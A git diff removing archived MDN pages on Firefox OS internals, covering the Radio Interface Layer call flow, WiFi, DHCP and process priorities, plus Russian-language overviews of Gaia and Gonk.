- <dd>This process, also known as the <strong>chrome process</strong>, implements Gecko. The portions of it that relate to the Radio Interface Layer are <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, which implements a worker thread that talks to <code>rild</code> through <code>rilproxy</code> and implements the radio state machine; and the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> interface, which is the main thread's <a href="/en-US/docs/XPCOM" title="/en-US/docs/XPCOM">XPCOM</a> service that acts primarily as a message exchange between the <code>ril_worker.js</code> thread and various other Gecko components, including the Gecko content process.</dd>
- <dt>Gecko's content process</dt>
- <dd>Within Gecko's content process, the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> interface provides an XPCOM service that lets code implementing parts of the DOM, such as the <a href="/en-US/docs/API/WebTelephony" title="/en-US/docs/API/WebTelephony">Telephony</a> and <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS</a> APIs talk to the radio interface, which is in the chrome process.</dd>
-</dl>
-
-<h3 id="Example_Communicating_from_rild_to_the_DOM">Example: Communicating from rild to the DOM</h3>
-
-<p>Let's take a look at an example of how the lower level parts of the system communicate with DOM code. When the modem receives an incoming call, it notifies <code>rild</code> using a proprietary mechanism. <code>rild</code> then prepares a message for its client according to the "open" protocol, which is described in <a href="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h" title="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h"><code>ril.h</code></a>. In the case of an incoming call, a <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message is generated and sent by <code>rild</code> to <code>rilproxy</code>.</p>
-
-<p><code>rilproxy</code>, implemented in <a href="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c" title="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c"><code>rilproxy.c</code></a>, receives this message in its main loop, which polls its connection to <code>rild</code> using code like this:</p>
-
-<pre class="brush:cpp;">ret = read(rilproxy_rw, data, 1024);
-
-if(ret &gt; 0) {
- writeToSocket(rild_rw, data, ret);
-}</pre>
-
-<p>Once the message is received from <code>rild</code>, it's then forwarded along to Gecko on the socket that connects <code>rilproxy</code> to Gecko. Gecko receives the forwarded message on its <a href="https://dxr.mozilla.org/mozilla-central/source/ipc/ril/Ril.cpp" rel="custom">IPC thread</a>:</p>
-
-<pre class="brush:cpp;">int ret = read(fd, mIncoming-&gt;Data, 1024);
-// ... handle errors ...
-mIncoming-&gt;mSize = ret;
-sConsumer-&gt;MessageReceived(mIncoming.forget());
-</pre>
-
-<p>The consumer of these messages is <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/SystemWorkerManager.cpp" rel="custom">SystemWorkerManager</a>, which repackages the messages and dispatches them to the <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">ril_worker.js</a></code> thread that implements the RIL state machine; this is done in the <code>RILReceiver::MessageReceived()</code> method:</p>
-
-<pre class="brush:cpp;">virtual void MessageReceived(RilRawData *aMessage) {
- nsRefPtr&lt;DispatchRILEvent&gt; dre(new DispatchRILEvent(aMessage));
- mDispatcher-&gt;PostTask(dre);
-}</pre>
-
-<p>The task posted to that thread in turn calls the <code>onRILMessage()</code> function, which is implemented in JavaScript. This is done using the JavaScript API function <code><a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName">JS_CallFunctionName</a>()</code>:</p>
-
-<pre>return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv),
- argv, argv);</pre>
-
-<p><code>onRILMessage()</code> is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, which processes the message bytes and chops them into parcels. Each complete parcel is then dispatched to individual handler methods as appropriate:</p>
-
-<pre class="brush:js;">handleParcel: function handleParcel(request_type, length) {
- let method = this[request_type];
- if (typeof method == "function") {
- if (DEBUG) debug("Handling parcel as " + method.name);
- method.call(this, length);
- }
-}
-</pre>
-
-<p>This code works by getting the request type from the object, making sure it's defined as a function in the JavaScript code, then calling the method. Since ril_worker.js implements each request type in a method given the same name as the request type, this is very simple.</p>
-
-<p>In our example, <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code>, the following handler is called:</p>
-
-<pre class="brush:js;">RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() {
- this.getCurrentCalls();
-};</pre>
-
-<p>As you see in the code above, when notification is received that the call state has changed, the state machine simply fetches the current call state by calling the <code>getCurrentCall()</code> method:</p>
-
-<pre class="brush:js;">getCurrentCalls: function getCurrentCalls() {
- Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS);
-}</pre>
-
-<p>This sends a request back to <code>rild</code> to request the state of all currently active calls. The request flows back along a similar path the <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message followed, but in the opposite direction (that is, from <code>ril_worker.js</code> to <code>SystemWorkerManager</code> to <code>Ril.cpp</code>, then <code>rilproxy</code> and finally to the <code>rild</code> socket). <code>rild</code> then responds in kind, back along the same path, eventually arriving in <code>ril_worker.js</code>'s handler for the <code>REQUEST_GET_CURRENT_CALLS</code> message. And thus bidirectional communication occurs.</p>
-
-<p>The call state is then processed and compared to the previous state; if there's a change of state, ril_worker.js notifies the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> service on the main thread:</p>
-
-<pre class="brush:js;">_handleChangedCallState: function _handleChangedCallState(changedCall) {
- let message = {type: "callStateChange",
- call: changedCall};
- this.sendDOMMessage(message);
-}</pre>
-
-<p><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/RadioInterfaceLayer.js" rel="custom">dom/system/gonk/RadioInterfaceLayer.js</a>; the message is received by its <code>onmessage()</code> method:</p>
-
-<pre class="brush:js;"> onmessage: function onmessage(event) {
- let message = event.data;
- debug("Received message from worker: " + JSON.stringify(message));
- switch (message.type) {
- case "callStateChange":
- // This one will handle its own notifications.
- this.handleCallStateChange(message.call);
- break;
- ...
-</pre>
-
-<p>All this really does is dispatch the message to the content process using the Parent Process Message Manager (PPMM):</p>
-
-<pre class="brush:js;">handleCallStateChange: function handleCallStateChange(call) {
- [some internal state updating]
- ppmm.sendAsyncMessage("RIL:CallStateChanged", call);
-}</pre>
-
-<p>In the content process, the message is received by <code>receiveMessage()</code> method in the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> service, from the Child Process Message Manager (CPMM):</p>
-
-<pre class="brush:js;">receiveMessage: function receiveMessage(msg) {
- let request;
- debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json));
- switch (msg.name) {
- case "RIL:CallStateChanged":
- this._deliverTelephonyCallback("callStateChanged",
- [msg.json.callIndex, msg.json.state,
- msg.json.number, msg.json.isActive]);
- break;</pre>
-
-<p>This, in turn, calls the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsIRILTelephonyCallback#callStateChanged()">nsIRILTelephonyCallback.callStateChanged()</a></code> methods on every registered telephony callback object. Every web application that accesses the <a href="/ru/docs/Web/API/Window/navigator/mozTelephony" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>window.navigator.mozTelephony</code></a> API has registered one such callback object that dispatches events to the JavaScript code in the web application, either as a state change of an existing call object or a new <code>incoming</code> call event.</p>
-
-<pre class="brush:cpp;">NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState,
- const nsAString&amp; aNumber, bool aIsActive) {
- [...]
-
- if (modifiedCall) {
- // Change state.
- modifiedCall-&gt;ChangeState(aCallState);
-
- // See if this should replace our current active call.
- if (aIsActive) {
- mActiveCall = modifiedCall;
- }
-
- return NS_OK;
- }
-
- nsRefPtr&lt;TelephonyCall&gt; call =
- TelephonyCall::Create(this, aNumber, aCallState, aCallIndex);
- nsRefPtr&lt;CallEvent&gt; event = CallEvent::Create(call);
- nsresult rv = event-&gt;Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming"));
- NS_ENSURE_SUCCESS(rv, rv);
- return NS_OK;
-}</pre>
-
-<p>Applications can receive these events and update their user interface and so forth:</p>
-
-<pre class="brush:js;">handleEvent: function fm_handleEvent(evt) {
- switch (evt.call.state) {
- case 'connected':
- this.connected();
- break;
- case 'disconnected':
- this.disconnected();
- break;
- default:
- break;
- }
-}</pre>
-
-<p>Take a look at the implementation of <a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js" title="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js"><code>handleEvent()</code> in the Dialer application</a> as an extended example.</p>
-
-<h3 id="3G_data">3G data</h3>
-
-<p>There is a RIL message that initiates a "data call" to the cellular service; this enables data transfer mode in the modem. This data call ends up creating and activating a <a href="https://ru.wikipedia.org/wiki/Point-to-Point Protocol" title="Point-to-Point Protocol">Point-to-Point Protocol</a> (PPP) interface device in the Linux kernel that can be configured using the usual interfaces.</p>
-
-<div class="note">
-<p><strong>Note:</strong> This section needs to be written.</p>
-</div>
-
-<h3 id="Related_DOM_APIs">Related DOM APIs</h3>
-
-<p>This section lists DOM APIs that are related to RIL communications:</p>
-
-<ul>
- <li><a href="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony" title="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony">Telephony API</a></li>
- <li><a href="/en-US/docs/API/WebSMS/Introduction_to_WebSMS" title="/en-US/docs/API/WebSMS/Introduction_to_WebSMS">SMS API</a></li>
- <li>Mobile Connection API</li>
-</ul>
-
-<h2 id="WiFi">WiFi</h2>
-
-<p>The WiFi backend for Firefox OS simply uses <code>wpa_supplicant</code> to do most of the work. That means that the backend's primary job is to simply manage the supplicant, and to do some auxiliary tasks such as loading the WiFi driver and enabling or disabling the network interface. In essence, this means that the backend is a state machine, with the states following the state of the supplicant.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Much of the interesting stuff that happens in WiFi depends deeply on possible state changes in the <code>wpa_supplicant</code> process.</p>
-</div>
-
-<p>The implementation of the WiFi component is broken up into two files:</p>
-
-<dl>
- <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/DOMWifiManager.js" rel="custom">dom/wifi/DOMWifiManager.js</a></dt>
- <dd>Implements the API that's exposed to web content, as defined in <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWifi.idl" title="">nsIWifi.idl</a></code>.</dd>
- <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/WifiWorker.js" rel="custom">dom/wifi/WifiWorker.js</a></dt>
- <dd>Implements the state machine and the code that drives the supplicant.</dd>
-</dl>
-
-<p>These two files communicate with one another using the <a href="/en-US/docs/The_message_manager" title="/en-US/docs/The_message_manager">message manager</a>. The backend listens for messages requesting certain actions, such as "associate", and responds with a message when the requested action has been completed.</p>
-
-<p>The DOM side listens for the response methods as well as several event messages that indicate state changes and information updates.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Any synchromous DOM APIs are implemented by caching data on that side of the pipe. Synchronous messages are avoided whenever possible.</p>
-</div>
-
-<h3 id="WifiWorker.js">WifiWorker.js</h3>
-
-<p>This file implements the main logic behind the WiFi interface. It runs in the chrome process (in multi-process builds) and is instantiated by the SystemWorkerManager. The file is generally broken into two sections: a giant anonymous function and <code>WifiWorker</code> (and its prototype). The anonymous function ends up being the <code>WifiManager</code> by providing a local API, including notifications for events such as connection to the supplicant and scan results being available. In general, it contains little logic and lets its sole consumer control its actions while it simply responds with the requested information and controls the details of the connection with the supplicant.</p>
-
-<p>The <code>WifiWorker</code> object sits between the <code>WifiManager</code> and the DOM. It reacts to events and forwards them to the DOM; in turn, it receives requests from the DOM and performs the appropriate actions on the supplicant. It also maintains state information about the supplicant and what it needs to do next.</p>
-
-<h3 id="DOMWifiManager.js">DOMWifiManager.js</h3>
-
-<p>This implements the DOM API, transmitting messages back and forth between callers and the actual WiFi worker. There's very little logic involved.</p>
-
-<div class="note">
-<p><strong>Note:</strong> In order to avoid synchronous messages to the chrome process, the WiFi Manager does need to cache the state based on the received event.</p>
-</div>
-
-<p>There's a single synchronous message, which is sent at the time the DOM API is instantiated, in order to get the current state of the supplicant.</p>
-
-<h3 id="DHCP">DHCP</h3>
-
-<p>DHCP and DNS are handled by <code>dhcpcd</code>, the standard Linux DHCP client. However, it's not able to react when the network connection is lost. Because of this, Firefox OS kills and restarts <code>dhcpcd</code> each time it connects to a given wireless network.</p>
-
-<p><code>dhcpcd</code> is also responsible for setting the default route; we call into the network manager to tell the kernel about DNS servers.</p>
-
-<h2 id="Network_Manager">Network Manager</h2>
-
-<p>The Network Manager configures network interfaces opened by the 3G data and WiFi components.</p>
-
-<div class="note">
-<p><strong>Note:</strong> This needs to be written.</p>
-</div>
-
-<h2 id="Processes_and_threads">Processes and threads</h2>
-
-<p>Firefox OS uses POSIX threads to implement all application threads, this includes the main thread of each application as well as Web workers and helper threads. Nice values are used prioritize process and thread execution thus relying on the standard Linux kernel scheduler. Depending on the status of a process we assign it a different nice level. We've currently got 7 levels:</p>
-
-<table class="standard-table">
- <caption>Process priority levels</caption>
- <thead>
- <tr>
- <th scope="col">Priority</th>
- <th scope="col">Nice</th>
- <th scope="col">Used for</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>MASTER</code></td>
- <td>0</td>
- <td>main b2g process</td>
- </tr>
- <tr>
- <td><code>FOREGROUND_HIGH</code></td>
- <td>0</td>
- <td>critical applications holding the <code>cpu</code> or <code>highpriority</code> wakelock, this is currently reserved for the clock and communications applications</td>
- </tr>
- <tr>
- </tr>
- <tr>
- <td><code>FOREGROUND</code></td>
- <td>1</td>
- <td>foreground applications</td>
- </tr>
- <tr>
- <td><code>FOREGROUND_KEYBOARD</code></td>
- <td>1</td>
- <td>keyboard application</td>
- </tr>
- <tr>
- <td><code>BACKGROUND_PERCEIVABLE</code></td>
- <td>7</td>
- <td>background applications playing audio or holding the holding the <code>cpu</code> or <code>highpriority</code> wakelock and having at least a system message handler registered</td>
- </tr>
- <tr>
- <td><code>BACKGROUND_HOMESCREEN</code></td>
- <td>18</td>
- <td>homescreen application</td>
- </tr>
- <tr>
- <td><code>BACKGROUND</code></td>
- <td>18</td>
- <td>all other applications running in the background</td>
- </tr>
- </tbody>
-</table>
-
-<p>Some levels share the same nice values, that's because those levels currently differ in the way they're treated by the out of memory killer. All priorities can be adjusted at build time via preferences; the relevant entries can be found in the <a href="http://hg.mozilla.org/mozilla-central/file/54e8c6492dc4/b2g/app/b2g.js#l610"><code>b2g/app/b2g.js</code></a> file.</p>
-
-<div class="note">
-<p><strong>Note</strong>: for more information on the out-of-memory killer, and how Firefox OS manages low memory situations, read <a href="/en-US/Firefox_OS/Platform/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS</a>.</p>
-</div>
-
-<p>Within a process the main thread inherits the nice value of the process whilst web worker threads are given a nice value that is one point higher than the main thread thus running at lower priority. This is done in order to prevent CPU-intensive workers from excessively slowing down the main thread. Processes priorities are changed whenever a major event happens such as an application is sent into the background or foreground, a new application is started up or an existing application grabs a CPU wakelock. Whenever a process priority is adjusted all its threads' priorities will also be adjusted accordingly.</p>
-
-<div class="note">
-<p><strong>Note:</strong> cgroups are not currently used for resource management as they've proven unreliable on certain devices and kernels.</p>
-</div>
-
-<p> </p>
diff --git a/files/ru/archive/b2g_os/platform/gaia/index.html b/files/ru/archive/b2g_os/platform/gaia/index.html
deleted file mode 100644
index e1297afcee..0000000000
--- a/files/ru/archive/b2g_os/platform/gaia/index.html
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Gaia
-slug: Archive/B2G_OS/Platform/Gaia
-tags:
- - B2G
- - Firefox OS
- - Gaia
- - Landing
- - Mobile
-translation_of: Archive/B2G_OS/Platform/Gaia
----
-<p>Gaia is the user interface level of <a href="/en-US/docs/Archive/B2G_OS">B2G OS</a>. Everything that appears on the screen after B2G OS starts up is drawn by Gaia, including the lock screen, home screen, dialer, and other applications. Gaia is written entirely in <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, and <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. Its only interface to the underlying operating system and hardware is through standard Web APIs, which are implemented by <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>.</p>
-
-<p>Because of this design, not only can Gaia be run on B2G OS devices, but also on other operating systems and in other web browsers (Albeit with potentially degraded functionality depending on the capabilities of the browser).</p>
-
-<p>Third party applications onto the device installed alongside Gaia can be launched by Gaia.</p>
-
-<div class="topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Documentation" name="Documentation">Documentation about Gaia</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia">Introduction to Gaia</a></dt>
- <dd>Gaia is the user interface application for B2G OS devices; it's simply a Web application running atop the B2G OS software stack. This guide introduces Gaia at a high level.</dd>
- <dt><a href="/en-US/docs/Archive/B2G_OS/Platform/Gaia/Gaia_apps">Gaia apps</a></dt>
- <dd>Information on each of the default apps available in the Gaia family, including tips on how to use them, and how to modify them.</dd>
- <dt><a href="/en-US/docs/Archive/B2G_OS/Developing_Gaia">Developing Gaia</a></dt>
- <dd>A detailed guide to hacking and modifying the Gaia interface, and contributing to the Gaia project.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/Gaia">View All...</a></span></p>
-</div>
-
-<div class="section">
-<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related topics</h2>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Mobile">Mobile</a></li>
- <li><a href="/en-US/docs/Web">Web Technology for developer</a>
- <ul>
- <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
- <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
- <li><a href="/en-US/docs/Web/JavaScript">JavaScript</a></li>
- </ul>
- </li>
- <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
-</ul>
-
-<h2 class="Tools" id="Resources" name="Resources">Resources</h2>
-
-<ul>
- <li><a href="/en-US/docs/Archive/B2G_OS/Architecture">B2G OS Architecture Overview</a></li>
-</ul>
-</div>
-</div>
-
-<div class="blockIndicator communitybox" dir="ltr">
-<div class="column-container">
-<h2 id="Join_the_Gaia_community">Join the Gaia community</h2>
-
-<div class="column-half">
-<div class="communitysubhead">Choose your preferred method for joining the discussion:</div>
-
-<ul class="communitymailinglist">
- <li><a href="https://lists.mozilla.org/listinfo/dev-gaia">Mailing list</a></li>
- <li><a href="https://twitter.com/Boot2Gecko">Twitter</a></li>
- <li><a href="http://stackoverflow.com/questions/tagged/firefox-os">Stack Overflow</a></li>
- <li><a href="http://groups.google.com/group/mozilla.dev.gaia">Newsgroup</a></li>
- <li><a href="http://groups.google.com/group/mozilla.dev.gaia/feeds">RSS feed</a></li>
-</ul>
-</div>
-
-<div class="column-half">
-<ul class="communitycontact">
- <li><strong>IRC: </strong><a href="irc://irc.mozilla.org/gaia">#gaia</a> <span class="smaller">(<a href="https://wiki.mozilla.org/IRC">learn more</a>)</span></li>
- <li><strong>GitHub: </strong><a href="https://github.com/mozilla-b2g/gaia" title="The Gaia GitHub page">The Gaia GitHub page</a></li>
-</ul>
-</div>
-</div>
-</div>
-
-<div class="hidden">{{IncludeSubnav("/en-US/docs/Archive/B2G_OS")}}</div>
diff --git a/files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html b/files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html
deleted file mode 100644
index 6ee433f2eb..0000000000
--- a/files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: Введение в Gaia
-slug: Archive/B2G_OS/Platform/Gaia/Введение_в_Gaia
-tags:
- - Apps
- - B2G
- - Settings
-translation_of: Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia
----
-<div class="summary">
-<p><span id="result_box" lang="ru">Gaia <span class="hps">являет собой</span> <span class="hps">пользовательский интерфейс для</span> <span class="hps">загрузки в </span><span class="hps">Gecko</span> <span class="atn hps">(</span><span>B2G</span><span>)</span><span>;</span> <span class="hps">это</span> <span class="hps">набор</span> <span class="hps">веб-приложений чтобы</span> <span class="hps">работать</span> <span class="hps">локально</span> <span class="hps">на</span> <span class="hps">B2G</span><span> устройстве,</span> <span class="hps">эмуляторе</span><span>,</span> <span class="hps">пользовательской сборке</span><span class="hps">,</span> <span class="hps">или</span> <span class="hps">Firefox</span> <span class="hps">сборке.</span> <span class="hps">Все, что </span><span class="hps">нужно</span> <span class="hps">знать о</span><span class="hps"> добавленых</span> <span class="hps">приложениях</span> <span class="hps">или</span> <span class="hps">внесении в них изменений</span> используя <span class="hps">Gaia, с помощью</span> <span class="hps">веб-технологии</span><span>, таких как</span> <span class="hps">JavaScript</span><span>, HTML,</span> <span class="hps">и CSS</span><span>.</span></span></p>
-</div>
-
-<h2 id="Блокировка_Gaia">Блокировка Gaia</h2>
-
-<p><span id="result_box" lang="ru"><span class="hps">Блокировка экрана</span> <span class="hps">показывает</span> <span class="hps">сетевой</span> <span class="hps">носитель,</span> <span class="hps">текущее время</span> <span class="hps">и дату</span><span>,</span> <span class="hps">и</span> <span class="hps">ползунок</span><span>, позволяющий пользователю</span><span>, разблокировать телефон</span> <span class="hps">или</span> <span class="hps">перейти</span> <span class="hps">прямо к камере</span><span>, чтобы сделать снимок</span><span>.</span> <span class="hps">Если пользователь</span> <span class="hps">получил</span> <span class="hps">набор</span> <span class="hps">блокировки</span> <span class="hps">паролем,</span> <span class="hps">блокировка экрана</span> <span class="hps">будет</span> <span class="hps">также</span> <span class="hps">показать</span> <span class="hps">интерфейс</span> <span class="hps">ввода</span> <span class="hps">пароля</span><span>.</span></span></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7611/gaia-lockscreen.png" style="display: block; height: 480px; margin: 0px auto; width: 320px;"></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Обратите внимание, что</span> <span class="hps">на некоторых устройствах</span> <span class="hps">код доступа</span> <span class="hps">по умолчанию может быт бявключен</span><span>;</span> <span class="hps">в этих случаях</span> <span class="hps">PIN-код</span> <span class="hps">по умолчанию</span><span>, чтобы разблокировать</span> <span class="hps">устройство</span> <span class="hps">"0000</span><span>"</span><span>.</span> <span class="hps">Это</span><span>, скорее всего,</span> <span class="hps">будет меняться с течением</span> <span class="hps">времени, как</span> <span class="hps">эта функция</span> <span class="hps">конкретизированы</span><span>.</span></span></p>
-
-<h2 id="Интерфейс_Gaia_по_умолчанию"><span class="short_text" id="result_box" lang="ru"><span class="hps">Интерфейс</span> <span class="hps">Gaia</span> <span class="hps">по умолчанию</span></span></h2>
-
-<div id="gt-src-tools">
-<div id="gt-src-tools-l"> </div>
-</div>
-
-<div id="gt-input-tool" style="display: inline-block;">
-<div id="itamenu"> </div>
-</div>
-
-<div class="g-unit" id="gt-src-c">
-<div id="gt-src-p">
-<div id="gt-src-wrap">
-<div id="gt-src-tools">
-<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">По умолчанию интерфейс</span> <span class="hps">в</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">как показано здесь</span><span>, очень</span> <span class="hps">похож на</span> <span class="hps">те, что</span> <span class="hps">вы видите</span> <span class="hps">на большинстве</span> <span class="hps">типичных</span> <span class="hps">смартфонов</span><span>.</span></span></div>
-</div>
-</div>
-</div>
-</div>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7613/device-2013-01-24-163623.png" style="display: block; height: 480px; margin: 0px auto; width: 320px;"></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Это скриншот</span> <span class="hps">прошлой</span><span class="hps"> версии</span> <span class="hps">операционной системы</span><span>,</span> <span class="hps">с</span> <span class="hps">заполнеными</span> <span class="hps">иконок</span>ами <span class="hps">(и</span> <span class="hps">некоторыми</span> <span class="hps">тестовыми приложениями</span><span>)</span><span>.</span> <span class="hps">В строке состояния</span><span class="hps"> вверху указан операторт сети</span> <span class="atn hps">(или "</span><span>Нет</span> <span class="hps">SIM-карты</span><span>"</span> <span class="hps">для устройства</span> <span class="hps">без каких-либо</span> <span class="hps">сети</span><span>)</span><span>, уровень сигнала</span><span class="hps">,</span> <span class="hps">Wi-Fi</span> <span class="hps">сигнал</span><span>,</span> <span class="hps">уровень заряда батареи</span><span>,</span> <span class="hps">и</span> <span class="hps">текущее время</span><span>.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">В центральной области</span> <span class="hps">дисплея</span> <span class="hps">отображаются значки</span> <span class="hps">приложений</span><span>;</span> <span class="hps">листайте</span> <span class="hps">в лево и право</span> <span class="hps">переходя на другте страницы</span><span>.</span> <span class="hps">Вы</span> <span class="hps">можете узнать больше о</span> <span class="hps">недостатках собранных</span> <span class="hps">приложений</span><span> поставляемых с</span> <span class="hps">Gaia</span> <span class="hps">посетив нашу</span></span> <a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps</a> страницу.</p>
-
-<p><span id="result_box" lang="ru"><span class="hps">В нижней</span> <span class="hps">части экрана находится</span> <span class="hps">блок вмещающий</span><span class="hps"> до</span> <span class="hps">семи</span> <span class="hps">ваших</span> <span class="hps">наиболее часто</span> <span class="hps">используемых приложений.</span> <span class="hps">Вы</span> <span class="hps">можете перетащить и поместить</span> <span class="hps">приложения</span> <span class="hps">в блок</span></span><span lang="ru"> <span class="hps">из</span> <span class="hps">средней зоны</span><span>.</span></span></p>
-
-<h2 id="Смотрите_также" style=""><span class="short_text" id="result_box" lang="ru"><span class="hps">Смотрите также</span></span></h2>
-
-<ul>
- <li><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps</a>: <span id="result_box" lang="ru"><span class="hps">Эта страница</span> <span class="hps">включает в себя</span> <span class="hps">дополнительную информацию о</span> <span class="hps">каждом</span> <span class="hps">приложении</span><span>,</span> <span class="hps">например</span><span>, как</span> <span class="hps">их использовать,</span> <span class="hps">и как</span> <span class="hps">изменить</span> <span class="hps">их</span><span>.</span></span></li>
- <li><a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>: <span id="result_box" lang="ru"><span class="hps">Объяснение</span> <span class="hps">различных</span> <span class="hps">настроек</span> <span class="hps">разработчиков</span><span>, которые можно включить</span> <span class="hps">через</span> <span class="hps">настройки приложения</span> <span class="hps">Gaia</span><span>.</span></span></li>
-</ul>
diff --git a/files/ru/archive/b2g_os/platform/gonk/index.html b/files/ru/archive/b2g_os/platform/gonk/index.html
deleted file mode 100644
index 380eb5d8b5..0000000000
--- a/files/ru/archive/b2g_os/platform/gonk/index.html
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: Gonk
-slug: Archive/B2G_OS/Platform/Gonk
-translation_of: Archive/B2G_OS/Platform/Gonk
----
-<div class="summary">
-<p>Gonk это низкоуровневый слой платформы <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, состоящий из ядра Linux на базе <a class="external" href="http://source.android.com/">Android Open Source Project</a> (AOSP) и cлоя абстрагирования от аппаратных средств (HAL). <span id="result_box" lang="ru"><span class="alt-edited hps">Цель данной статьи</span> <span class="hps">объяснить, что</span> <span class="hps">представляет собой</span> <span class="hps">Gonk</span><span>.</span> <span class="hps">Подробнее об</span> <span class="hps">общей архитектуре</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">и как </span><span class="hps">Gonk в неё</span> <span class="hps">вписывается</span><span class="hps">,</span> написано в</span> руководстве <a href="/en-US/Firefox_OS/Platform/Architecture">Firefox OS architecture</a>.</p>
-</div>
-
-<h2 id="Описание_Gonk">Описание Gonk</h2>
-
-<p>Gonk это компонент уровня ядра в стэке Firefox OS который служит интерфейсом между Gecko и аппаратным обеспечением. Gonk контроллирует аппаратное обеспечение и предоставляет доступ к нему различным Web API встроенным в Gecko. Gonk можно рассматривать как "черный ящик" который, обрабатывая запросы, "за кулисами" делает всю комплексную, детализированную работу по управлению мобильным устройством на аппаратном уровне.</p>
-
-<p>Gonk это простой дистрибутив Linux включающий в себя компоненты из Android (такие как GPS и Камера) и расширенный Mozilla стандартными open source проектами такими как libusb, bluez и так далее, чтобы интегрировать со всеми слоями в архитектуре Firefox OS. Такая структура позволяет OEM производителям проще портировать программные компоненты из других реализаций Android (драйверы устройств, микропрограммы(firmware), service-level демоны и т.д.) для развертывания на смартфонах Firefox OS.</p>
-
-<p>Gonk это слой портируемый на устройства: адаптер между аппаратурой и Gecko. Gonk относительно простой дистрибутив Linux который можно рассматривать как разновидность Порта Gecko в паре со слоями портирования Gecko — тоесть Gonk это объект(цель) для портирования по отношению к <a href="/en-US/docs/Gecko">Gecko</a>, как например есть порты Gecko для OS X, Windows, and Android.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Поскольку различные устройства могут отличатся по набору микросхем и другим аппаратным особенностям, устройства могу содержать разные дистибутивы Gonk.</p>
-</div>
-
